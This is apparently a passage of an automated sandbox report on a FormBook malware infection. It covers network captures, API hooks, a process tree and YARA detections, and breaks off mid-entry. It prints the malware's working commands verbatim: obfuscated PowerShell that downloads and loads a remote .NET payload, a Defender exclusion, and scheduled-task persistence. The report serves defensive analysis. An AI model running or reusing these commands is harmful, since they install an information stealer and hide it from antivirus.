2024-10-07 05:14:57 UTC	1378	IN	Data Raw: 42 68 62 2b 42 43 6f 41 41 41 41 2b 44 77 41 44 4b 48 45 41 41 41 59 57 2f 67 49 57 2f 67 45 71 4d 67 38 41 41 79 68 78 41 41 41 47 46 76 34 43 4b 67 41 41 41 44 34 50 41 41 4d 6f 63 51 41 41 42 68 62 2b 42 42 62 2b 41 53 6f 6d 44 77 41 44 4b 48 49 41 41 41 59 71 41 41 41 79 44 77 41 44 4b 48 49 41 41 41 59 57 2f 67 45 71 41 41 41 41 45 7a 41 44 41 41 6f 42 41 41 41 4b 41 41 41 52 49 41 51 41 41 41 44 2b 44 67 41 41 4f 41 41 41 41 41 44 2b 44 41 41 41 52 51 55 41 41 41 43 4b 41 41 41 41 73 51 41 41 41 41 55 41 41 41 42 67 41 41 41 41 4c 77 41 41 41 44 69 46 41 41 41 41 45 67 45 44 65 78 30 41 41 41 51 6f 48 51 41 41 43 69 6f 43 65 78 34 41 41 41 52 76 48 67 41 41 43 67 4e 37 48 67 41 41 42 43 68 34 41 41 41 47 62 78 38 41 41 41 6f 71 41 69 68 6a 41 41 41 Data Ascii: Bhb+BCoAAAA+DwADKHEAAAYW/gIW/gEqMg8AAyhxAAAGFv4CKgAAAD4PAAMocQAABhb+BBb+ASomDwADKHIAAAYqAAAyDwADKHIAAAYW/gEqAAAAEzADAAoBAAAKAAARIAQAAAD+DgAAOAAAAAD+DAAARQUAAACKAAAAsQAAAAUAAABgAAAALwAAADiFAAAAEgEDex0AAAQoHQAACioCex4AAARvHgAACgN7HgAABCh4AAAGbx8AAAoqAihjAAA
2024-10-07 05:14:57 UTC	1378	IN	Data Raw: 2f 2f 2f 78 4d 77 41 77 43 42 41 41 41 41 43 77 41 41 45 53 41 43 41 41 41 41 2f 67 34 41 41 44 67 41 41 41 41 41 2f 67 77 41 41 45 55 44 41 41 41 41 4c 51 41 41 41 44 67 41 41 41 41 46 41 41 41 41 4f 43 67 41 41 41 41 43 41 79 68 37 41 41 41 47 45 77 45 67 41 51 41 41 41 48 36 45 45 41 41 45 65 35 59 51 41 41 51 36 7a 66 2f 2f 2f 79 59 67 41 51 41 41 41 44 6a 43 2f 2f 2f 2f 46 43 6f 52 41 51 51 6f 67 51 41 41 42 69 6f 52 41 54 72 77 2f 2f 2f 2f 49 41 41 41 41 41 42 2b 68 42 41 41 42 48 73 31 45 41 41 45 4f 5a 7a 2f 2f 2f 38 6d 49 41 41 41 41 41 41 34 6b 66 2f 2f 2f 77 41 41 41 42 4d 77 42 41 43 43 41 41 41 41 43 77 41 41 45 53 41 42 41 41 41 41 2f 67 34 41 41 44 67 41 41 41 41 41 2f 67 77 41 41 45 55 44 41 41 41 41 42 51 41 41 41 43 73 41 41 41 42 55 41 Data Ascii: ///xMwAwCBAAAACwAAESACAAAA/g4AADgAAAAA/gwAAEUDAAAALQAAADgAAAAFAAAAOCgAAAACAyh7AAAGEwEgAQAAAH6EEAAEe5YQAAQ6zf///yYgAQAAADjC////FCoRAQQogQAABioRATrw////IAAAAAB+hBAABHs1EAAEOZz///8mIAAAAAA4kf///wAAABMwBACCAAAACwAAESABAAAA/g4AADgAAAAA/gwAAEUDAAAABQAAACsAAABUA

Session ID	Source IP	Source Port	Destination IP	Destination Port
8	192.168.2.22	49172	14.194.50.211	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 05:14:56 UTC	153	OUT	Data Raw: 50 52 4f 50 46 49 4e 44 20 2f 20 48 54 54 50 2f 31 2e 31 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 4b 65 65 70 2d 41 6c 69 76 65 0d 0a 55 73 65 72 2d 41 67 65 6e 74 3a 20 4d 69 63 72 6f 73 6f 66 74 2d 57 65 62 44 41 56 2d 4d 69 6e 69 52 65 64 69 72 2f 36 2e 31 2e 37 36 30 31 0d 0a 44 65 70 74 68 3a 20 30 0d 0a 74 72 61 6e 73 6c 61 74 65 3a 20 66 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 3a 20 30 0d 0a 48 6f 73 74 3a 20 6d 32 67 2e 6d 65 0d 0a 0d 0a Data Ascii: PROPFIND / HTTP/1.1Connection: Keep-AliveUser-Agent: Microsoft-WebDAV-MiniRedir/6.1.7601Depth: 0translate: fContent-Length: 0Host: m2g.me
2024-10-07 05:14:57 UTC	224	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 05:14:57 GMT Server: Apache/2.4.52 (Ubuntu) Upgrade: h2,h2c Connection: Upgrade, close Vary: Accept-Encoding Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8
2024-10-07 05:14:57 UTC	7968	IN	Data Raw: 33 37 35 30 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 20 73 61 76 65 64 20 66 72 6f 6d 20 75 72 6c 3d 28 30 30 34 32 29 23 20 2d 2d 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 63 6c 61 73 73 3d 22 20 73 69 7a 65 73 20 63 75 73 74 6f 6d 65 6c 65 6d 65 6e 74 73 20 68 69 73 74 6f 72 79 20 70 6f 69 6e 74 65 72 65 76 65 6e 74 73 20 70 6f 73 74 6d 65 73 73 61 67 65 20 77 65 62 67 6c 20 77 65 62 73 6f 63 6b 65 74 73 20 63 73 73 61 6e 69 6d 61 74 69 6f 6e 73 20 63 73 73 63 6f 6c 75 6d 6e 73 20 63 73 73 63 6f 6c 75 6d 6e 73 2d 77 69 64 74 68 20 63 73 73 63 6f 6c 75 6d 6e 73 2d 73 70 61 6e 20 63 73 73 63 6f 6c 75 6d 6e 73 2d 66 69 6c 6c 20 63 73 73 63 6f 6c 75 6d 6e 73 2d 67 61 70 20 63 73 73 63 6f 6c 75 6d 6e 73 2d 72 75 6c 65 20 Data Ascii: 3750<!DOCTYPE html>... saved from url=(0042)# --><html lang="en" class=" sizes customelements history pointerevents postmessage webgl websockets cssanimations csscolumns csscolumns-width csscolumns-span csscolumns-fill csscolumns-gap csscolumns-rule
2024-10-07 05:14:57 UTC	6198	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 6f 75 6e 74 65 72 2d 69 74 65 6d 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 68 32 20 63 6c 61 73 73 3d 22 63 6f 75 6e 74 65 72 2d 74 69 74 6c 65 22 3e 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 6f 75 6e 74 65 72 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 33 35 2c 37 31 30 20 20 20 20 3c 2f 73 70 61 6e 3e 2b 3c 2f 68 32 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 70 3e 53 68 6f 72 74 65 6e 65 64 20 6c 69 6e 6b 73 20 69 6e 20 74 6f 74 61 6c 3c 2f 70 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: <div class="counter-item"> <h2 class="counter-title"><span class="counter"> 35,710 </span>+</h2> <p>Shortened links in total</p>
2024-10-07 05:14:57 UTC	2	IN	Data Raw: 0d 0a Data Ascii:
2024-10-07 05:14:57 UTC	664	IN	Data Raw: 32 38 63 0d 0a 3c 73 63 72 69 70 74 20 73 72 63 3d 22 61 73 73 65 74 73 2f 6a 73 2f 6a 71 75 65 72 79 2d 33 2e 33 2e 31 2e 6d 69 6e 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 3c 73 63 72 69 70 74 20 73 72 63 3d 22 61 73 73 65 74 73 2f 6a 73 2f 6d 6f 64 65 72 6e 69 7a 72 2d 33 2e 36 2e 30 2e 6d 69 6e 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 3c 73 63 72 69 70 74 20 73 72 63 3d 22 61 73 73 65 74 73 2f 6a 73 2f 70 6c 75 67 69 6e 73 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 3c 73 63 72 69 70 74 20 73 72 63 3d 22 61 73 73 65 74 73 2f 6a 73 2f 62 6f 6f 74 73 74 72 61 70 2e 6d 69 6e 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 3c 73 63 72 69 70 74 20 73 72 63 3d 22 61 73 73 65 74 73 2f 6a 73 2f 77 6f 77 2e 6d 69 6e 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 Data Ascii: 28c<script src="assets/js/jquery-3.3.1.min.js"></script><script src="assets/js/modernizr-3.6.0.min.js"></script><script src="assets/js/plugins.js"></script><script src="assets/js/bootstrap.min.js"></script><script src="assets/js/wow.min.js"></script

Session ID	Source IP	Source Port	Destination IP	Destination Port
9	192.168.2.22	49173	14.194.50.211	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 05:14:58 UTC	153	OUT	Data Raw: 50 52 4f 50 46 49 4e 44 20 2f 20 48 54 54 50 2f 31 2e 31 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 4b 65 65 70 2d 41 6c 69 76 65 0d 0a 55 73 65 72 2d 41 67 65 6e 74 3a 20 4d 69 63 72 6f 73 6f 66 74 2d 57 65 62 44 41 56 2d 4d 69 6e 69 52 65 64 69 72 2f 36 2e 31 2e 37 36 30 31 0d 0a 44 65 70 74 68 3a 20 30 0d 0a 74 72 61 6e 73 6c 61 74 65 3a 20 66 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 3a 20 30 0d 0a 48 6f 73 74 3a 20 6d 32 67 2e 6d 65 0d 0a 0d 0a Data Ascii: PROPFIND / HTTP/1.1Connection: Keep-AliveUser-Agent: Microsoft-WebDAV-MiniRedir/6.1.7601Depth: 0translate: fContent-Length: 0Host: m2g.me
2024-10-07 05:14:59 UTC	224	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 05:14:59 GMT Server: Apache/2.4.52 (Ubuntu) Upgrade: h2,h2c Connection: Upgrade, close Vary: Accept-Encoding Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8
2024-10-07 05:14:59 UTC	7968	IN	Data Raw: 33 37 35 30 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 20 73 61 76 65 64 20 66 72 6f 6d 20 75 72 6c 3d 28 30 30 34 32 29 23 20 2d 2d 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 63 6c 61 73 73 3d 22 20 73 69 7a 65 73 20 63 75 73 74 6f 6d 65 6c 65 6d 65 6e 74 73 20 68 69 73 74 6f 72 79 20 70 6f 69 6e 74 65 72 65 76 65 6e 74 73 20 70 6f 73 74 6d 65 73 73 61 67 65 20 77 65 62 67 6c 20 77 65 62 73 6f 63 6b 65 74 73 20 63 73 73 61 6e 69 6d 61 74 69 6f 6e 73 20 63 73 73 63 6f 6c 75 6d 6e 73 20 63 73 73 63 6f 6c 75 6d 6e 73 2d 77 69 64 74 68 20 63 73 73 63 6f 6c 75 6d 6e 73 2d 73 70 61 6e 20 63 73 73 63 6f 6c 75 6d 6e 73 2d 66 69 6c 6c 20 63 73 73 63 6f 6c 75 6d 6e 73 2d 67 61 70 20 63 73 73 63 6f 6c 75 6d 6e 73 2d 72 75 6c 65 20 Data Ascii: 3750<!DOCTYPE html>... saved from url=(0042)# --><html lang="en" class=" sizes customelements history pointerevents postmessage webgl websockets cssanimations csscolumns csscolumns-width csscolumns-span csscolumns-fill csscolumns-gap csscolumns-rule
2024-10-07 05:14:59 UTC	6198	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 6f 75 6e 74 65 72 2d 69 74 65 6d 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 68 32 20 63 6c 61 73 73 3d 22 63 6f 75 6e 74 65 72 2d 74 69 74 6c 65 22 3e 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 6f 75 6e 74 65 72 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 33 35 2c 37 31 33 20 20 20 20 3c 2f 73 70 61 6e 3e 2b 3c 2f 68 32 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 70 3e 53 68 6f 72 74 65 6e 65 64 20 6c 69 6e 6b 73 20 69 6e 20 74 6f 74 61 6c 3c 2f 70 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: <div class="counter-item"> <h2 class="counter-title"><span class="counter"> 35,713 </span>+</h2> <p>Shortened links in total</p>
2024-10-07 05:14:59 UTC	2	IN	Data Raw: 0d 0a Data Ascii:
2024-10-07 05:14:59 UTC	664	IN	Data Raw: 32 38 63 0d 0a 3c 73 63 72 69 70 74 20 73 72 63 3d 22 61 73 73 65 74 73 2f 6a 73 2f 6a 71 75 65 72 79 2d 33 2e 33 2e 31 2e 6d 69 6e 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 3c 73 63 72 69 70 74 20 73 72 63 3d 22 61 73 73 65 74 73 2f 6a 73 2f 6d 6f 64 65 72 6e 69 7a 72 2d 33 2e 36 2e 30 2e 6d 69 6e 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 3c 73 63 72 69 70 74 20 73 72 63 3d 22 61 73 73 65 74 73 2f 6a 73 2f 70 6c 75 67 69 6e 73 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 3c 73 63 72 69 70 74 20 73 72 63 3d 22 61 73 73 65 74 73 2f 6a 73 2f 62 6f 6f 74 73 74 72 61 70 2e 6d 69 6e 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 3c 73 63 72 69 70 74 20 73 72 63 3d 22 61 73 73 65 74 73 2f 6a 73 2f 77 6f 77 2e 6d 69 6e 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 Data Ascii: 28c<script src="assets/js/jquery-3.3.1.min.js"></script><script src="assets/js/modernizr-3.6.0.min.js"></script><script src="assets/js/plugins.js"></script><script src="assets/js/bootstrap.min.js"></script><script src="assets/js/wow.min.js"></script

Code Manipulations

User Modules

Hook Summary

Function Name	Hook Type	Active in Processes
PeekMessageA	INLINE	explorer.exe
PeekMessageW	INLINE	explorer.exe
GetMessageW	INLINE	explorer.exe
GetMessageA	INLINE	explorer.exe

Processes

Process: explorer.exe, Module: USER32.dll

Function Name	Hook Type	New Data
PeekMessageA	INLINE	0x48 0x8B 0xB8 0x83 0x3E 0xE4
PeekMessageW	INLINE	0x48 0x8B 0xB8 0x8B 0xBE 0xE4
GetMessageW	INLINE	0x48 0x8B 0xB8 0x8B 0xBE 0xE4
GetMessageA	INLINE	0x48 0x8B 0xB8 0x83 0x3E 0xE4

Target ID:	0
Start time:	01:14:07
Start date:	07/10/2024
Path:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Microsoft Office\Office14\EXCEL.EXE" /automation -Embedding
Imagebase:	0x13fb10000
File size:	28'253'536 bytes
MD5 hash:	D53B85E21886D2AF9815C377537BCAC3
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Target ID:	4
Start time:	01:14:31
Start date:	07/10/2024
Path:	C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" -Embedding
Imagebase:	0x13fe10000
File size:	1'423'704 bytes
MD5 hash:	9EE74859D22DAE61F1750B3A1BACB6F5
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Target ID:	10
Start time:	01:14:48
Start date:	07/10/2024
Path:	C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE
Wow64 process (32bit):	true
Commandline:	"C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding
Imagebase:	0x400000
File size:	543'304 bytes
MD5 hash:	A87236E214F6D42A65F5DEDAC816AEC8
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Target ID:	11
Start time:	01:14:50
Start date:	07/10/2024
Path:	C:\Windows\SysWOW64\wscript.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\wegivenewthingssoonsweetnes.vbS"
Imagebase:	0x9f0000
File size:	141'824 bytes
MD5 hash:	979D74799EA6C8B8167869A68DF5204A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Target ID:	12
Start time:	01:14:50
Start date:	07/10/2024
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'SU5WT0tFLWVYcFJFU1NJT04oICgnYycrJ0YxdXJsID0gJysnZlgnKydoaHR0cHM6Ly9yYScrJ3cnKycuZ2l0aHViJysndXNlcmNvbnRlJysnbnQuY28nKydtL05vJysnRGV0ZScrJ2MnKyd0T24vTm8nKydEZXRlY3RPbicrJy9yZWZzL2hlYWRzL21haW4nKycvRGV0YWhOJysnb3RoLVYuJysndHh0ZicrJ1gnKydoJysnOyBjRicrJzEnKydiYXMnKydlJysnNjRDb250JysnZW50JysnID0nKycgJysnKE5ldy0nKydPYmplY3QgJysnU3lzdCcrJ2UnKydtLicrJ04nKydldC5XZWJDJysnbGknKydlbicrJ3QpJysnLkRvd25sb2FkU3RyaW4nKydnKGNGMXVybCk7JysnIGNGJysnMWJpJysnbicrJ2EnKydyeUMnKydvbnRlbnQgPSBbU3knKydzdGVtLkMnKydvbicrJ3YnKydlJysncnQnKyddJysnOjpGcm8nKydtQmFzZTY0U3RyJysnaW5nKGNGMWJhc2U2NENvJysnbnRlJysnbnQpOyBjRjEnKydhJysnc3NlbWJseSA9IFtSJysnZWZsZWN0aScrJ29uLkFzcycrJ2VtYmx5JysnXTonKyc6TG9hZChjRicrJzFiaW5hcnknKydDb250ZW50KTsgJysnWycrJ2RubGliLklPLkhvbWVdOjpWQUkocE5BdCcrJ3gnKyd0LlJFUkMnKydDUi8zMzMvODIuMTQuJysnMDQyLjgzLy86cHR0aHBOQSwgcE4nKydBZGVzYScrJ3RpdmFkb3BOQSwgcE5BZGVzYXRpJysndmFkb3AnKydOQSwnKycgcE5BZCcrJ2VzYXRpdmFkb3BOQSwgcE5BYScrJ3NwbmV0X3InKydlZ2Jyb3dzZXJzcE5BLCBwTkFwJysnTkEnKycscE5BcCcrJ05BKScpLnJlUGxhQ2UoJ2ZYaCcsW1NUcmluR11bQ2hhcl0zOSkucmVQbGFDZSgoW0NoYXJdOTkrW0NoYXJdNzArW0NoYXJdNDkpLFtTVHJpbkddW0NoYXJdMzYpLnJlUGxhQ2UoKFtDaGFyXTExMitbQ2hhcl03OCtbQ2hhcl02NSksW1NUcmluR11bQ2hhcl0zNCkp';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
Imagebase:	0xe70000
File size:	427'008 bytes
MD5 hash:	EB32C070E658937AA9FA9F3AE629B2B8
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Target ID:	15
Start time:	01:14:51
Start date:	07/10/2024
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "INVOKE-eXpRESSION( ('c'+'F1url = '+'fX'+'hhttps://ra'+'w'+'.github'+'userconte'+'nt.co'+'m/No'+'Dete'+'c'+'tOn/No'+'DetectOn'+'/refs/heads/main'+'/DetahN'+'oth-V.'+'txtf'+'X'+'h'+'; cF'+'1'+'bas'+'e'+'64Cont'+'ent'+' ='+' '+'(New-'+'Object '+'Syst'+'e'+'m.'+'N'+'et.WebC'+'li'+'en'+'t)'+'.DownloadStrin'+'g(cF1url);'+' cF'+'1bi'+'n'+'a'+'ryC'+'ontent = [Sy'+'stem.C'+'on'+'v'+'e'+'rt'+']'+'::Fro'+'mBase64Str'+'ing(cF1base64Co'+'nte'+'nt); cF1'+'a'+'ssembly = [R'+'eflecti'+'on.Ass'+'embly'+']:'+':Load(cF'+'1binary'+'Content); '+'['+'dnlib.IO.Home]::VAI(pNAt'+'x'+'t.RERC'+'CR/333/82.14.'+'042.83//:ptthpNA, pN'+'Adesa'+'tivadopNA, pNAdesati'+'vadop'+'NA,'+' pNAd'+'esativadopNA, pNAa'+'spnet_r'+'egbrowserspNA, pNAp'+'NA'+',pNAp'+'NA)').rePlaCe('fXh',[STrinG][Char]39).rePlaCe(([Char]99+[Char]70+[Char]49),[STrinG][Char]36).rePlaCe(([Char]112+[Char]78+[Char]65),[STrinG][Char]34))"
Imagebase:	0xe70000
File size:	427'008 bytes
MD5 hash:	EB32C070E658937AA9FA9F3AE629B2B8
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Target ID:	17
Start time:	01:15:00
Start date:	07/10/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe"
Imagebase:	0x830000
File size:	45'160 bytes
MD5 hash:	04AA198D72229AEED129DC20201BF030
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 00000011.00000002.487856362.0000000003289000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000011.00000002.487856362.0000000003289000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000011.00000002.487856362.0000000003289000.00000004.00000800.00020000.00000000.sdmp, Author: unknown Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 00000011.00000002.487856362.0000000003289000.00000004.00000800.00020000.00000000.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com Rule: Formbook, Description: detect Formbook in memory, Source: 00000011.00000002.487856362.0000000003289000.00000004.00000800.00020000.00000000.sdmp, Author: JPCERT/CC Incident Response Group
Reputation:	low
Has exited:	true

Target ID:	18
Start time:	01:15:01
Start date:	07/10/2024
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\niLILOT.exe"
Imagebase:	0xe70000
File size:	427'008 bytes
MD5 hash:	EB32C070E658937AA9FA9F3AE629B2B8
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Target ID:	20
Start time:	01:15:01
Start date:	07/10/2024
Path:	C:\Windows\SysWOW64\schtasks.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\schtasks.exe" /Create /TN "Updates\niLILOT" /XML "C:\Users\user\AppData\Local\Temp\tmpB50D.tmp"
Imagebase:	0x580000
File size:	179'712 bytes
MD5 hash:	2003E9B15E1C502B146DAD2E383AC1E3
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Target ID:	22
Start time:	01:15:03
Start date:	07/10/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe"
Imagebase:	0x830000
File size:	45'160 bytes
MD5 hash:	04AA198D72229AEED129DC20201BF030
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 00000016.00000002.511155982.0000000000330000.00000040.10000000.00040000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000016.00000002.511155982.0000000000330000.00000040.10000000.00040000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000016.00000002.511155982.0000000000330000.00000040.10000000.00040000.00000000.sdmp, Author: unknown Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 00000016.00000002.511155982.0000000000330000.00000040.10000000.00040000.00000000.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com Rule: Formbook, Description: detect Formbook in memory, Source: 00000016.00000002.511155982.0000000000330000.00000040.10000000.00040000.00000000.sdmp, Author: JPCERT/CC Incident Response Group
Reputation:	low
Has exited:	true

Target ID:	23
Start time:	01:15:03
Start date:	07/10/2024
Path:	C:\Windows\explorer.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\Explorer.EXE
Imagebase:	0xff2f0000
File size:	3'229'696 bytes
MD5 hash:	38AE1B3C38FAEF56FE4907922F0385BA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: Windows_Trojan_Formbook_772cc62d, Description: unknown, Source: 00000017.00000002.638758536.0000000006123000.00000040.80000000.00040000.00000000.sdmp, Author: unknown
Has exited:	false

Target ID:	24
Start time:	01:15:05
Start date:	07/10/2024
Path:	C:\Windows\System32\taskeng.exe
Wow64 process (32bit):	false
Commandline:	taskeng.exe {6F06CFDC-8B46-4289-9A59-403AE8C9352A} S-1-5-21-966771315-3019405637-367336477-1006:user-PC\user:Interactive:[1]
Imagebase:	0xff6a0000
File size:	464'384 bytes
MD5 hash:	65EA57712340C09B1B0C427B4848AE05
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Target ID:	25
Start time:	01:15:05
Start date:	07/10/2024
Path:	C:\Users\user\AppData\Roaming\niLILOT.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Roaming\niLILOT.exe
Imagebase:	0x330000
File size:	45'160 bytes
MD5 hash:	04AA198D72229AEED129DC20201BF030
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 0%, ReversingLabs
Has exited:	true

Target ID:	27
Start time:	01:15:13
Start date:	07/10/2024
Path:	C:\Windows\SysWOW64\mstsc.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\SysWOW64\mstsc.exe"
Imagebase:	0x8d0000
File size:	1'068'544 bytes
MD5 hash:	4676AAA9DDF52A50C829FEDB4EA81E54
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 0000001B.00000002.637430242.0000000000080000.00000040.80000000.00040000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 0000001B.00000002.637430242.0000000000080000.00000040.80000000.00040000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 0000001B.00000002.637430242.0000000000080000.00000040.80000000.00040000.00000000.sdmp, Author: unknown Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 0000001B.00000002.637430242.0000000000080000.00000040.80000000.00040000.00000000.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com Rule: Formbook, Description: detect Formbook in memory, Source: 0000001B.00000002.637430242.0000000000080000.00000040.80000000.00040000.00000000.sdmp, Author: JPCERT/CC Incident Response Group Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 0000001B.00000002.637544486.0000000000310000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 0000001B.00000002.637544486.0000000000310000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 0000001B.00000002.637544486.0000000000310000.00000004.00000800.00020000.00000000.sdmp, Author: unknown Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 0000001B.00000002.637544486.0000000000310000.00000004.00000800.00020000.00000000.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com Rule: Formbook, Description: detect Formbook in memory, Source: 0000001B.00000002.637544486.0000000000310000.00000004.00000800.00020000.00000000.sdmp, Author: JPCERT/CC Incident Response Group Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 0000001B.00000002.637518852.00000000002E0000.00000040.10000000.00040000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 0000001B.00000002.637518852.00000000002E0000.00000040.10000000.00040000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 